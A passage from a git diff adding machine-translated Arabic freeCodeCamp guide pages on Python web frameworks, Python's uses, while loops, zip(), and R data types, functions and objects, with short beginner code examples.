+قل ، أنت تدير العمل ، ستحتاج أيضًا إلى التعامل مع الجوانب الأخرى من هذا النشاط التجاري التي قد يكون العميل غافلاً عنها. على سبيل المثال؛ راتب الموظف ، إدارة الكتب ، دفع الإيجار والضرائب على الممتلكات ، طباعة بطاقات القائمة الجديدة إلخ.
+
+أنت تتساءل أين تتجه هذه المحادثة. إهدئ! نحن نعود إلى Python Web Development في أسرع وقت ممكن.
+
+يقوم "ويب ويب" بعمل هذه الأنشطة المتكررة - التي يمكنك فعلها عند إنشاء تطبيق ويب باستخدام لغة برمجة فقط وبعض مكتبات الشبكات. مثل معالجة الطلبات ، توجيه عنوان URL ، تجميع النماذج ، إعداد السياق ، حماية CSRF ، التسجيل ، تفاعل قواعد البيانات عبر ORM ، المصادقة ، تقديم الاستجابة ، إلخ.
+
+ربما كنت أتساءل ، ما هو ، تركت للمطور أن تفعل؟ استنادًا إلى التطبيق ، يجب عليك استخدام واجهات برمجة التطبيقات (frame API) وكتابة منطق التطبيق الخاص بك.
+
+ستقوم شفرتك بملء الفجوات التي تم تركها عن _قصد_ في رمز الإطار - والجمع بين شفرتك وإطار العمل. تطبيق الويب الخاص بك سيكون له نفس الحياة فيه!
+
+اثنان من أطر الويب الأكثر شعبية في بايثون هما Django و Flask. Django هو على الأرجح إطار Python الأكثر استخدامًا هناك. يساعدك Django على إنشاء مواقع الويب التي تتفاعل فيها مع كل من العميل (المستخدم) وقاعدة البيانات الخاصة بك ، في كثير من الأحيان في وقت واحد. القارورة عبارة عن إطار عمل صغير ، والذي يمكنه أيضًا القيام بالكثير من المهام التي يقوم بها دجانغو ، ولكن باستخدام الإضافات التي يقوم بها المجتمع. الأطر الأخرى الجديرة بالذكر هي Pylons و Tornado.
+
+### جانغو
+
+Django (/ ʒdʒæŋɡoʊ / JANG-goh) هو إطار عمل مجاني ومفتوح المصدر على شبكة الإنترنت ، مكتوب في بايثون ، يتبع النموذج المعماري لنموذج العرض (MVT). تتم صيانتها بواسطة مؤسسة دجانغو للبرمجيات (DSF) ، وهي منظمة مستقلة تم تأسيسها على أساس 501 (ج) (3) غير ربحية.
+
+يتمثل الهدف الأساسي لـ Django في تسهيل إنشاء مواقع ويب معقدة تعتمد على قواعد البيانات. يؤكد جانغو على قابلية إعادة الاستخدام و "قابلية التوصيل" للمكونات ، والتطور السريع ، ومبدأ عدم تكرار نفسك. يتم استخدام بايثون في جميع أنحاء ، حتى بالنسبة لملفات الإعدادات ونماذج البيانات. يوفر Django أيضًا واجهة إنشاء وقراءة وتحديث وحذف إدارية اختيارية يتم إنشاؤها ديناميكيًا من خلال الاستبطان وتهيئتها عبر نماذج المشرف.
+
+بعض المواقع المعروفة التي تستخدم Django تشمل خدمة البث العام و Instagram و Mozilla و The Washington Times و Disqus و Bitbucket و Nextdoor. تم استخدامه على موقع Pinterest ، ولكن في وقت لاحق انتقل الموقع إلى إطار مبني على قارورة.
+
+### قارورة
+
+Flask هو تطبيق ويب WSGI خفيف الوزن وإطار عمل صغير يصنف كإطار ميكروي لأنه لا يتطلب أدوات أو مكتبات معينة. وهي مصممة لجعل البدء السريع والسهل ، مع القدرة على الارتقاء إلى مستوى التطبيقات المعقدة. ومع ذلك ، يدعم Flask الإضافات التي يمكنها إضافة ميزات التطبيق كما لو تم تنفيذها في القارورة نفسها. توجد إضافات لمخططات الخرائط ذات الصلة ، والتحقق من صحة النموذج ، ومعالجة التحميل ، والعديد من تقنيات المصادقة المفتوحة والعديد من الأدوات ذات الصلة بالإطار المشترك. يتم تحديث الإضافات بشكل أكثر انتظامًا من برنامج Flask الأساسي. يستخدم القارورة عادة مع MongoDB (NOSQL DataBase) مما يسمح لها بمزيد من التحكم في قواعد البيانات والتاريخ.
+
+وقد بدأت كمغلفة بسيطة حول Werkzeug و Jinja وأصبحت واحدة من أكثر أطر تطبيقات Python شعبية.
+
+تقدم القارورة اقتراحات ، ولكنها لا تفرض أي تبعيات أو تخطيط للمشروع. الأمر متروك للمطور لاختيار الأدوات والمكتبات التي يرغبون في استخدامها. هناك العديد من الإضافات التي يقدمها المجتمع والتي تجعل إضافة وظائف جديدة أمرًا سهلاً.
+
+تم صنع قارورة في عام 2004 من قبل مجموعة دولية من Pythonists تدعى "Pocoo" ، مثل نكتة نيسان كذبة والتي تم تحويلها لاحقًا إلى شيء "حقيقي". وفقا ل Wikpedia ، كان إطار بيثون على شبكة الإنترنت الأكثر استخداما على جيثب. وهو عبارة عن إطار مصغر ومفتوح المصدر مكتوب في بايثون ( [عرض على جيثب](https://github.com/freeCodeCamp/guide/tree/master/src/pages/javascript) ). كما تنص على ويكيبيديا ،
+
+تصنف القارورة كإطار ميكروفيولوجي لأنها لا تتطلب أدوات أو مكتبات معينة. لا يحتوي على طبقة تجريد قاعدة بيانات أو التحقق من صحة النموذج أو أي مكونات أخرى توفر مكتبات الجهات الخارجية الموجودة مسبقًا وظائف مشتركة.
+
+قارورة هي إلى حد كبير إطار "بطاريات غير المدرجة" ، مقارنة بشيء مثل Django. هذا يعني أنك بحاجة إلى تثبيت وحدات مثل مصادقة المستخدم والنماذج وأشياء أخرى بنفسك. لا يعني هذا أن القارورة لا تُصنع لتلك الأشياء ، بل ببساطة لا يتم تضمينها ويتم إنشاء هذه الوحدات من قبل المجتمع. يحتوي القارورة أيضًا على وثائق شاملة ومفصلة على http://flask.pocoo.org/docs/. يوفر البساطة والمزيد من التحكم في الأشياء الصغيرة. لن يكون لديك وظيفة لا يتم استخدامها ، حيث يمكنك اختيار ما تتم إضافته وما لا يتم استخدامه.
+
+المواقع التي تستخدم قارورة تشمل Pinterest! (التي انتقلت من Django) ، واجهة برمجة التطبيقات الخاصة من Twilio (حتى أنها قدمت امتدادًا باسم Flask-RESTful for API's) ، و Netflix (التي تستخدم ScriptFlask ، وهي أداة تعتمد على قارورة)
+
+### زجاجة
+
+الزجاجة هي عبارة عن إطار بيثون مايكرو يسمح للمستخدمين بالعمل بسرعة باستخدام تطبيق ويب بايثون. إنها خفيفة الوزن أكثر بكثير من شيء أكثر تميزًا مثل Django ، وليس لها اعتمادات تابعة لجهة خارجية تعتمد فقط على مكتبة Python القياسية.
+
+وهذا يجعله مثاليًا لتطبيقات الويب الصغيرة حيث لا يتطلب الأمر بعض الميزات الأكثر تقدمًا في Django مثل المصادقة أو الوصول إلى قاعدة البيانات.
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/what-is-python-used-for/index.md b/client/src/guide/arabic/python/what-is-python-used-for/index.md
new file mode 100644
index 0000000000..7412cae7a4
--- /dev/null
+++ b/client/src/guide/arabic/python/what-is-python-used-for/index.md
@@ -0,0 +1,82 @@
+---
+title: What Is Python Used for
+localeTitle: ما هي بايثون المستخدمة ل
+---
+## ما هي بايثون المستخدمة ل
+
+يمكن استخدام بايثون بسهولة للمشاريع الصغيرة والكبيرة وعبر الإنترنت وغير المتصلة. أفضل الخيارات لاستخدام Python هي تطوير الويب ، البرمجة النصية البسيطة وتحليل البيانات. فيما يلي بعض الأمثلة على ما ستتيح لك بايثون القيام به:
+
+##### تطوير الشبكة:
+
+يمكنك استخدام Python لإنشاء تطبيقات الويب على العديد من مستويات التعقيد. هناك العديد من أطر عمل بيثون الممتازة ، بما في ذلك الهرم ، وجانغو ، وقارورة ، على سبيل المثال قليلة.
+
+##### تحليل البيانات:
+
+بايثون هي اللغة الرئيسية المفضلة للعديد من علماء البيانات. نمت بايثون في شعبية في هذا المجال بسبب توافر العديد من المكتبات الممتازة تركز على علم البيانات (التي NumPy و Pandas هما من أكثر المعروفة) وتصور البيانات (مثل Matplotlib و Seaborn). جعلت Pyton حقا بيانات الطحن متعة مع جميع المكتبات العديدة المتاحة. Ipython مع JupyterLab هو شكل آخر من أشكال بايثون يحسن استخدام بايثون في مجال علم البيانات.
+
+##### التشغيل الآلي:
+
+بايثون هي لغة مرنة للغاية يمكن استخدامها لأتمتة المهام المملة أو المتكررة. غالبًا ما يستخدمه مسؤولو النظام من خلال كتابة البرامج النصية التي يمكن أن تكون سهلة الاستخدام أعدم من المحطة. يمكن استخدام بايثون أيضًا لإنشاء برامج روبوت تعمل تلقائيًا على تنفيذ بعض مهامنا اليومية.
+
+##### الذكاء الاصطناعي:
+
+كما تستخدم بايثون على نطاق واسع في مجال زراعة الذكاء الاصطناعي (AI). اختارت Google بايثون لتكون واحدة من أوائل لغات البرمجة المدعومة جيدًا للتدريب والتفاعل مع النماذج باستخدام Tensorflow.
+
+#### تطوير تطبيقات الجوال
+
+يمكن إنشاء تطبيقات وألعاب الجوال باستخدام python باستخدام Kivy و Pygame و PyQt.
+
+#### الأمن والشبكات:
+
+تستخدم بايثون في بناء أدوات الشبكات وأدوات الأمان المستخدمة على نطاق واسع. إن أتمتة بايثون عن بعد هي الأكثر أمانًا وسرعة وكفاءة لاختبار السحب من الأطر ، وهذا هو السبب في أن المطورين المحترفين يستخدمون python لصنع معظم الأطر الآمنة وللمقابس.
+
+##### تعلم الآلة ، التعلم العميق
+
+بايثون هي واحدة من أفضل اللغات المناسبة للتعلم الآلي ، والتعلم العميق ، وتحليلات البيانات مع معقل في كل منها.
+
+هناك لغات متخصصة أكثر ملاءمة لدور مختلف مثل R و MATLAB ولكن عندما يتعلق الأمر بمجالات متداخلة من التطبيقات ، فإن python يفوز بالأيدل بسبب المرونة والنماذج الأولية السريعة وتوفر المكتبات.
+
+#### برقية تطوير البرق
+
+يمكنك استخدام Python وبعض مكتبات Python لتطوير برامج [Telegram](https://core.telegram.org/bots) الخاصة بك
+
+#### جمع البيانات عن طريق الزحف والكشط
+
+كما يمكن استخدام بايثون من خلال رموز مصدر صفحات مستعرضة واسترداد بياناتها. باستخدام بعض وحدات الثعبان ، مثل: Scrapy وأيضا (لبعض الأسباب والصفحات التي تستخدم javascript) السيلنيوم ، يجب أن تفعل الحيلة!
+
+#### معلومات اكثر:
+
+إليك [رابط](https://www.python.org/about/apps/) إلى قسم من موقع بايثون الرسمي يصف تطبيقاته المختلفة.
+
+#### بايثون تستخدم عموما ل
+
+*   تطوير الويب والإنترنت
+*   التقدم التربوي
+*   الدراسات العلمية / الحوسبة
+*   تطوير سطح المكتب
+*   الحوسبة الرقمية
+*   تطوير البرمجيات
+*   تطوير تطبيقات الأعمال
+*   تعلم الآلة
+*   IOT
+*   تطوير اللعبة
+*   النماذج الأولية السريعة
+*   أتمتة المتصفح
+*   تحليل البيانات
+*   تجريف البيانات من المواقع
+*   معالجة الصورة
+
+## لماذا حصلت بيثون على مثل هذه المجموعة الواسعة من الاستخدام؟
+
+*   لقد حصلت بيثون على العديد من الحزم للتعامل معها ، حيث تراوحت بعض الأبحاث للأبحاث الفضائية إلى الرياضيات. \* ثانياً لاختيار أن تكون جزءاً من مجتمع المصدر المفتوح. نعم فعلا! بايثون هي مفتوحة المصدر.
+*   لأنه بناء بسيط وأنيق. \* هناك العديد من الوظائف المضمنة لأن رموز python صغيرة الحجم مقارنة مع الرموز الأخرى التي هي في السياق ولكنها مكتوبة بلغة مختلفة.
+*   بايثون تدعم أيضا الأزياء البرمجة الكائنية. هكذا تضيف هذه الأشياء لشعبية بايثون في مختلف المجتمعات.
+
+#### بعض المقالات التي تغطي قابلية استخدام python
+
+*   [10 الاستخدامات الرئيسية لبيثون](http://www.dummies.com/programming/python/10-major-uses-of-python/)
+*   [تطبيقات لبيثون](https://www.python.org/about/apps/)
+*   [أين هي لغة بايثون المستخدمة؟](https://stackoverflow.com/questions/3043085/where-is-python-language-used)
+*   [ما هي بايثون المستخدمة؟](https://stackoverflow.com/questions/1909512/what-is-python-used-for)
+
+فهرس الطرد الرسمي للبيثون موجود [هنا](https://pypi.python.org/pypi) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/while-loop-statements/index.md b/client/src/guide/arabic/python/while-loop-statements/index.md
new file mode 100644
index 0000000000..82c2cf1888
--- /dev/null
+++ b/client/src/guide/arabic/python/while-loop-statements/index.md
@@ -0,0 +1,52 @@
+---
+title: While Loop Statements
+localeTitle: في حين لووب البيانات
+---
+## في حين لووب البيانات
+
+تستخدم بايثون حلقة " `while` نحو مشابه للغات الشعبية الأخرى. تقوم حلقة `while` بتقييم حالة ثم تنفذ كتلة من الكود إذا كان الشرط صحيحًا. ينفذ كتلة التعليمة البرمجية بشكل متكرر حتى يصبح الشرط غير صحيح.
+
+البنية الأساسية هي:
+
+ `counter = 0 
+ while counter < 10: 
+   # Execute the block of code here as 
+   # long as counter is less than 10 
+` 
+
+ويرد أدناه مثال على ذلك:
+
+ `days = 0 
+ week = ['Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday', 'Sunday'] 
+ while days < 7: 
+   print("Today is " + week[days]) 
+   days += 1 
+` 
+
+انتاج:
+
+ `Today is Monday 
+ Today is Tuesday 
+ Today is Wednesday 
+ Today is Thursday 
+ Today is Friday 
+ Today is Saturday 
+ Today is Sunday 
+` 
+
+شرح سطر بواسطة سطر التعليمات البرمجية أعلاه:
+
+1.  يتم تعيين "أيام" المتغير إلى قيمة 0.
+2.  يتم تعيين أسبوع متغير إلى قائمة تحتوي على كافة أيام الأسبوع.
+3.  بينما تبدأ حلقة
+4.  سيتم تنفيذ كتلة الكود حتى تعود الحالة "true".
+5.  الشرط هو 'أيام <7' التي يقول روجلي أثناء تشغيل حلقة حتى النقطة أيام المتغير أقل من 7
+6.  لذلك عندما تكون الأيام = 7 تتوقف الحلقة أثناء التنفيذ.
+7.  يتم تحديث متغير الأيام في كل تكرار.
+8.  عندما يتم تشغيل حلقة while للمرة الأولى ، تتم طباعة السطر "Today is Monday" على وحدة التحكم ويصبح يوم المتغير مساويًا لـ 1.
+9.  نظرًا لأن أيام المتغير تساوي 1 وهي أقل من 7 حتى يتم تنفيذ حلقة while مرة أخرى.
+10.  ويمتد مرارًا وتكرارًا ، وعندما تطبع وحدة التحكم "اليوم هو الأحد" ، تساوي الأيام المتغيرة الآن 7 وتوقف تنفيذ الحلقة.
+
+#### معلومات اكثر:
+
+*   [بيثون `while` الوثائق البيان](https://docs.python.org/3/reference/compound_stmts.html#the-while-statement)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/zip-function/index.md b/client/src/guide/arabic/python/zip-function/index.md
new file mode 100644
index 0000000000..4cc2212094
--- /dev/null
+++ b/client/src/guide/arabic/python/zip-function/index.md
@@ -0,0 +1,27 @@
+---
+title: Python Zip Function
+localeTitle: بيثون الرمز البريدي وظيفة
+---
+`zip()` هي دالة مضمنة في Python تقوم بإرجاع قائمة tuples. سيحتوي الـ nth tuple على العنصر n من كل من الوسيطات المتكرّرة. إذا كانت الوسيطات في التسلسل ذات أطوال غير متساوية ، فستعرض قائمة مقطوعة إلى طول أقصر فترة التكرار.
+
+## جدال
+
+أي عدد من iterables مفصولة بفاصلة.
+
+## قيمة الإرجاع
+
+قائمة tuple من عنصر nth من جميع التسلسلات
+
+## عينة الكود
+
+ `nums = [1,2,3,4] 
+ print(*nums) # prints 1 2 3 4 
+ numsAndNames = zip([1,2,3],['one','two','three']) 
+ print(*numsAndNames) # prints (1,'one') (2,'two') (3,'three') 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/@StuffsExplained/pythonZipFunction)
+
+[المستندات الرسمية - Python 3](https://docs.python.org/3.3/library/functions.html#zip)
+
+[الوثائق الرسمية - بيثون 2.7](https://docs.python.org/2/library/functions.html#zip)
\ No newline at end of file
diff --git a/client/src/guide/arabic/r/data-types/index.md b/client/src/guide/arabic/r/data-types/index.md
new file mode 100644
index 0000000000..b316bb82a7
--- /dev/null
+++ b/client/src/guide/arabic/r/data-types/index.md
@@ -0,0 +1,79 @@
+---
+title: Data Types in R
+localeTitle: أنواع البيانات في R
+--- ## سكالارس
+
+يشير العددية إلى كمية ذرية يمكن أن تحتفظ بقيمة واحدة فقط في كل مرة. Scalars هي أنواع البيانات الأساسية. بعض الأنواع الشائعة من scalars:
+
+1.  رقم
+    
+    > س <- 5 ص <- 5.5 الفئة (س) \[1\] "رقمي" أنيق) \[1\] "رقمي" فئة (+ ص خ) \[1\] "رقمي"
+    
+2.  قيمة منطقية
+    
+    > م <- س> ذ # تستخدم للتحقق ، هل إكس أكبر من ذ؟ n <- x <y # تستخدم للتحقق ، هل x أصغر من y؟ م \[1\] خطأ ن \[1\] صحيح فئة (م) \[1\] "منطقي" class (NA) # NA هي قيمة منطقية أخرى: "غير متوفر" / قيم مفقودة \[1\] "منطقي"
+    
+3.  سلسلة أحرف)
+    
+    > أ <- "1"؛ ب <- "2.5" و؛ ب \[1\] "1" \[1\] "2.5" أ + ب خطأ في + b: وسيطة غير رقمية لمشغل ثنائي فئة (أ) \[1\] "شخصية" فئة (as.numeric (أ)) \[1\] "رقمي" فئة (as.character (خ)) \[1\] "شخصية"
+    
+
+## قوه موجهة
+
+إنه تسلسل لعناصر البيانات من النوع الأساسي نفسه. فمثلا:
+
+ `> o <- c(1,2,5.3,6,-2,4)                                 # Numeric vector 
+ > p <- c("one","two","three","four","five","six")        # Character vector 
+ > q <- c(TRUE,TRUE,FALSE,TRUE,FALSE,TRUE)                # Logical vector 
+ > o;p;q 
+ [1]  1.0  2.0  5.3  6.0 -2.0  4.0 
+ [1] "one"   "two"   "three" "four"  "five"  "six" 
+ [1]  TRUE  TRUE FALSE  TRUE FALSE 
+` 
+
+## مصفوفة
+
+إنها مجموعة بيانات مستطيلة ثنائية الأبعاد. المكونات في المصفوفة يجب أن تكون من نفس النوع الأساسي مثل المتجه. فمثلا:
+
+ `> m = matrix( c('a','a','b','c','b','a'), nrow = 2, ncol = 3, byrow = TRUE) 
+ > m 
+ >[,1] [,2] [,3] 
+ [1,] "a"  "a"  "b" 
+ [2,] "c"  "b"  "a" 
+` 
+
+## إطار البيانات
+
+إنه أكثر عمومية من المصفوفة ، حيث يمكن أن تحتوي الأعمدة المختلفة على أنواع بيانات أساسية مختلفة. فمثلا:
+
+ `> d <- c(1,2,3,4) 
+ > e <- c("red", "white", "red", NA) 
+ > f <- c(TRUE,TRUE,TRUE,FALSE) 
+ > mydata <- data.frame(d,e,f) 
+ > names(mydata) <- c("ID","Color","Passed") 
+ > mydata 
+ 
+   ID Color Passed 
+ 1  1   red   TRUE 
+ 2  2 white   TRUE 
+ 3  3   red   TRUE 
+ 4  4  <NA>  FALSE 
+` 
+
+## قوائم
+
+إنه كائن R- يمكن أن يحتوي على العديد من أنواع العناصر المختلفة داخله مثل المتجهات والوظائف وقائمة أخرى داخله. فمثلا:
+
+ `> list1 <- list(c(2,5,3),21.3,sin) 
+ > list1 
+ [[1]] 
+ [1] 2 5 3 
+ [[2]] 
+ [1] 21.3 
+ [[3]] 
+ function (x)  .Primitive("sin") 
+` 
+
+## مرجع:
+
+[المستندات الرسمية](https://cran.r-project.org/manuals.html) [أنواع البيانات في R بواسطة المدونين r](https://www.r-bloggers.com/classes-and-objects-in-r/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/r/functions/index.md b/client/src/guide/arabic/r/functions/index.md
new file mode 100644
index 0000000000..07cee439eb
--- /dev/null
+++ b/client/src/guide/arabic/r/functions/index.md
@@ -0,0 +1,166 @@
+---
+title: Functions in R
+localeTitle: وظائف في R
+---
+تسمح لك الوظيفة بتعريف كتلة قابلة لإعادة الاستخدام من التعليمات البرمجية التي يمكن تنفيذها عدة مرات داخل البرنامج.
+
+يمكن تسمية الوظائف واستدعائها مرارًا وتكرارًا أو يمكن تشغيلها بشكل مجهول في مكان ما (مثل وظائف lambda في python).
+
+يتطلب تطوير الفهم الكامل لوظائف R فهم البيئات. البيئات هي ببساطة طريقة لإدارة الأشياء. مثال على البيئات في العمل هو أنه يمكنك استخدام متغير متكرر الاسم داخل وظيفة ، لن يتأثر ذلك إذا كان وقت التشغيل الأكبر يحتوي بالفعل على نفس المتغير. بالإضافة إلى ذلك ، إذا كان الدالة تستدعي متغيرًا غير معرَّف داخل الدالة ، سيتحقق من بيئة المستوى الأعلى لهذا المتغير.
+
+### بناء الجملة
+
+في R ، يحتوي تعريف الدالة على الميزات التالية:
+
+1.  `function` الكلمة الرئيسية
+2.  اسم وظيفة
+3.  معلمات الإدخال (اختياري)
+4.  بعض كتلة من التعليمات البرمجية للتنفيذ
+5.  بيان الإرجاع (اختياري)
+
+ `# a function with no parameters or returned values 
+ sayHello() = function(){ 
+  "Hello!" 
+ } 
+ 
+ sayHello()  # calls the function, 'Hello!' is printed to the console 
+ 
+ # a function with a parameter 
+ helloWithName = function(name){ 
+  paste0("Hello, ", name, "!") 
+ } 
+ 
+ helloWithName("Ada")  # calls the function, 'Hello, Ada!' is printed to the console 
+ 
+ # a function with multiple parameters with a return statement 
+ multiply = function(val1, val2){ 
+  val1 * val2 
+ } 
+ 
+ multiply(3, 5)  # prints 15 to the console 
+` 
+
+دالات هي كتل من التعليمات البرمجية التي يمكن إعادة استخدامها ببساطة عن طريق استدعاء الدالة. ويتيح ذلك إعادة استخدام رمز بسيط وأنيق دون إعادة كتابة أجزاء من التعليمات البرمجية بشكل صريح. هذا يجعل التعليمات البرمجية أكثر قابلية للقراءة ، مما يجعل تصحيح الأخطاء أسهل ، ويحد من أخطاء الكتابة.
+
+يتم إنشاء الدالات في R باستخدام الكلمة الأساسية `function` ، إلى جانب اسم الدالة ومعلمات الدالة داخل الأقواس.
+
+يمكن استخدام الدالة `return()` بواسطة الدالة لإرجاع قيمة ، ويتم استخدامها عادة لفرض الإنهاء المبكر لدالة ذات قيمة تم إرجاعها. بدلاً من ذلك ، ستقوم الدالة بإرجاع القيمة المطبوعة النهائية.
+
+ `# return a value explicitly or simply by printing 
+ sum = function(a, b){ 
+  c = a + b 
+  return(c) 
+ } 
+ 
+ sum = function(a, b){ 
+  a + b 
+ } 
+ 
+ 
+ result = sum(1, 2) 
+ # result = 3 
+` 
+
+يمكنك أيضًا تعريف القيم الافتراضية للمعلمات ، والتي ستستخدمها R عند عدم تحديد متغير أثناء استدعاء الدالة.
+
+ `sum = function(a, b = 3){ 
+  a + b 
+ } 
+ 
+ result = sum(a = 1) 
+ # result = 4 
+` 
+
+يمكنك أيضًا تمرير المعلمات بالترتيب الذي تريده ، باستخدام اسم المعلمة.
+
+ `result = sum(b=2, a=2) 
+ # result = 4 
+` 
+
+يمكن لـ R أيضًا قبول معلمات إضافية اختيارية باستخدام "..."
+
+ `sum = function(a, b, ...){ 
+  a + b + ... 
+ } 
+ 
+ sum(1, 2, 3) #returns 6 
+` 
+
+يمكن أيضًا تشغيل الوظائف بشكل مجهول. هذه مفيدة للغاية في تركيبة مع عائلة "تطبيق" من الوظائف.
+
+ `# loop through 1, 2, 3 - add 1 to each 
+ sapply(1:3, 
+       function(i){ 
+         i + 1 
+         }) 
+` 
+
+### ملاحظات
+
+*   إذا تضمن تعريف الدالة وسيطات بدون قيم افتراضية محددة ، فيجب تضمين قيم هذه القيم.
+    
+     `sum = function(a, b = 3){ 
+     a + b 
+     } 
+     
+     sum(b = 2) # Error in sum(b = 2) : argument "a" is missing, with no default 
+    ` 
+    
+*   توجد المتغيرات المحددة داخل الدالة فقط داخل نطاق تلك الوظيفة ، ولكنها ستتحقق من بيئة أكبر إذا لم يتم تحديد متغير
+    
+     `double = function(a){ 
+     a * 2 
+     } 
+     
+     double(x)  # Error in double(x) : object 'x' not found 
+     
+     
+     double = function(){ 
+     a * 2 
+     } 
+     
+     a = 3 
+     double() # 6 
+    ` 
+    
+
+## وظائف مدمجة في R
+
+*   R يأتي مع العديد من الوظائف التي يمكنك استخدامها للقيام بمهام متطورة مثل عشوائي أخذ العينات.
+    
+*   على سبيل المثال ، يمكنك تقريب رقم مع `round()` أو حسابه مع عامل به مع `factorial()` .
+    
+
+ `> round(4.147) 
+ [1] 4 
+ > factorial(3) 
+ [1] 6 
+ > round(mean(1:6)) 
+ [1] 4 
+` 
+
+*   تسمى البيانات التي تمررها إلى الدالة وسيطة الدالة.
+    
+*   يمكنك محاكاة لفة من الموت مع الدالة R `sample()` . تأخذ الدالة `sample()` الوسيطتين: المتجه المسمى x ورقم المسمى بالحجم. فمثلا:
+    
+
+ `> sample(x = 1:4, size = 2) 
+ [] 4 2 
+ > sample(x = die, size = 1) 
+ [] 3 
+ >dice <- sample(die, size = 2, replace = TRUE) 
+ >dice 
+ [1] 2 4 
+ >sum(dice) 
+ [1] 6 
+` 
+
+*   إذا لم تكن متأكدًا من الأسماء التي ستستخدمها مع إحدى الوظائف ، فيمكنك البحث عن الوظيفة الحجج مع args.
+
+ `> args(round) 
+ [1] function(x, digits=0) 
+` 
+
+## مصادر
+
+[المستندات الرسمية](https://cran.r-project.org/manuals.html) [خيارات-R](https://www.statmethods.net/management/functions.html) [كرا](https://cran.r-project.org/doc/manuals/r-release/R-lang.html#Functions) [R المتقدم: وظائف](http://adv-r.had.co.nz/Functions.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/r/index.md b/client/src/guide/arabic/r/index.md
new file mode 100644
index 0000000000..7f14bdf5a0
--- /dev/null
+++ b/client/src/guide/arabic/r/index.md
@@ -0,0 +1,43 @@
+---
+title: R
+localeTitle: R
+---
+## ما هو R؟
+
+R هي بيئة برمجية مفتوحة المصدر وبيئة برمجية للحوسبة الإحصائية والرسومات. وهي واحدة من اللغات الأساسية المستخدمة من قبل علماء البيانات والإحصائيين على حد سواء. وهي مدعومة من قبل مؤسسة R للحوسبة الإحصائية ومجتمع كبير من مطوري المصادر المفتوحة. منذ أن استخدم R واجهة سطر الأوامر ، يمكن أن يكون هناك منحنى تعلم حاد لبعض الأفراد الذين اعتادوا على استخدام البرامج التي تركز على واجهة المستخدم الرسومية مثل SPSS و SAS ، لذا فإن الإضافات إلى R مثل RStudio يمكن أن تكون مفيدة للغاية. بما أن برنامج R هو برنامج مفتوح المصدر ومتوفر مجاناً ، فإنه يمكن جذب عدد كبير من الأكاديميين الذين يتم تنظيم وصولهم إلى البرامج الإحصائية من خلال ارتباطهم بالكليات أو الجامعات المختلفة.
+
+## المنشآت
+
+أول ما تحتاج إليه للبدء في R هو تنزيله من موقعه [الرسمي](https://www.r-project.org/) وفقًا لنظام التشغيل الخاص بك. الآن قم بتثبيته على جهاز الكمبيوتر الخاص بك. للحصول على مساعدة في التثبيت ، راجع قسم المرجع أدناه.
+
+## شعبية أدوات R & حزم
+
+*   [RStudio](https://www.rstudio.com/products/rstudio/) هي بيئة تطوير متكاملة (IDE) لـ R. وهي تتضمن وحدة تحكم ، ومحرر تسليط الضوء على الجملة يدعم تنفيذ التعليمات البرمجية المباشرة ، بالإضافة إلى أدوات للتآمر والتاريخ وتصحيح الأخطاء وإدارة مساحة العمل.
+*   [تعتبر شبكة الأرشيف الشامل R (CRAN)](https://cran.r-project.org/) مصدرًا رائدًا لأدوات وموارد البحث والتطوير.
+*   [Tidyverse](https://www.tidyverse.org/) هو مجموعة من [الروايات](https://www.tidyverse.org/) R التي تم تصميمها لعلم البيانات مثل ggplot2، dplyr، readr، tidyr، purr، tibble.
+*   [data.table](https://github.com/Rdatatable/data.table/wiki) هو تطبيق `data.frame` الأساسية.ركزت على تحسين الأداء وقواعد مرن مقتضبة ومرنة.
+*   إطار [لامعة](https://shiny.rstudio.com/) لبناء تطبيقات ويب نمط لوحة القيادة في R. \*
+
+## أين تعلم R مجانا
+
+*   [ار ستوديو](https://www.rstudio.com/online-learning/)
+    
+*   [مدرسة قانون](http://tryr.codeschool.com/)
+    
+*   [Coursera -allows لتدوين الدورة مجانا ولكن يتم دفع شهادة.](https://www.coursera.org/learn/r-programming)
+    
+*   [DataCamp ، يسمح بإكمال الجزء التمهيدي مجانًا.](https://www.datacamp.com)
+    
+*   [R for Data Science - هو كتاب متاح للقراءة مجانًا على الإنترنت.](http://r4ds.had.co.nz/)
+    
+*   [edX -allows لتدوين الدورة مجانا ولكن يتم دفع شهادة.](https://www.edx.org/learn/r-programming)
+    
+*   [متقدم R](https://adv-r.hadley.nz/)
+    
+*   [RSeek](http://rseek.org/)
+    
+    ## مرجع
+    
+*   [تثبيت R على ويندوز](http://youtu.be/Ohnk9hcxf9M)
+    
+*   [تثبيت R على ماك](https://youtu.be/uxuuWXU-7UQ)
\ No newline at end of file
diff --git a/client/src/guide/arabic/r/objects/index.md b/client/src/guide/arabic/r/objects/index.md
new file mode 100644
index 0000000000..b995e80b64
--- /dev/null
+++ b/client/src/guide/arabic/r/objects/index.md
@@ -0,0 +1,38 @@
+---
+title: Objects in R
+localeTitle: كائنات في R
+---
## شاء
+
+تسمح R بحفظ البيانات عن طريق تخزينها داخل كائن R.
+
+## ما هو كائن؟
+
+إنه مجرد اسم يمكنك استخدامه لاستدعاء البيانات المخزنة. على سبيل المثال ، يمكنك حفظ البيانات في كائن مثل a أو b.
+
+ `> a <- 5 
+ > a 
+ [1] 5 
+` 
+
+## كيفية إنشاء كائن في R؟
+
+1.  لإنشاء كائن R ، اختر اسمًا ثم استخدم الرمز الأقل من ، `<` ، متبوعًا بعلامة السالب ، `-` لحفظ البيانات فيه. هذه المجموعة تبدو وكأنها السهم ، `<-` . سوف يجعل R كائنًا ، ويعطيه اسمك ، ويخزن فيه أي شيء يتبع السهم.
+    
+2.  عندما تسأل R ماذا يوجد في ، فإنها تخبرك في السطر التالي. فمثلا:
+    
+
+ `> die <- 1:6 
+ > die 
+ [1] 1 2 3 4 5 6 
+` 
+
+3.  يمكنك تسمية كائن في R تقريبًا أي شيء تريده ، ولكن هناك بعض القواعد. أول، لا يمكن أن يبدأ الاسم برقم. ثانيًا ، لا يمكن لاسم ما استخدام بعض الرموز الخاصة ، مثل `^, !, $, @, +, -, /, or *` :
+    
